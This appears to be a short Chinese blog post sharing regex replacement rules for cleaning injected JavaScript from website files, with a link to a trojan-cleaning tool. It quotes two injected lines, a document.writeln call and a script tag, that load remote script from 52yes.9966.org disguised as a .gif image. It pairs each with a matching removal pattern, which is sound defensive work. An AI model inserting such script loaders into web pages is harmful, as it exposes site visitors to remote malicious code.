JS变量挂马替换规则分享

    网站木马清理专家全功能免费版:https://www.lingkb.com/softs/12771.html
    挂马内容如下:

    程序代码
    document.writeln("<script src=http:\/\/52yes.9966.org:10086\/images\/1.gif?KRKJ><\/script>");

    替换规则如下:

    程序代码
    @document\.writeln\("<script.*9966\.org.*\/script>"\);

    挂马内容如下:

    程序代码
    <script src=http://52yes.9966.org:10086/images/1.gif?VINIJ></script>

    替换规则如下:

    程序代码
    @<script[^<]*9966\.org[^<]*</script>

发表评论

发表评论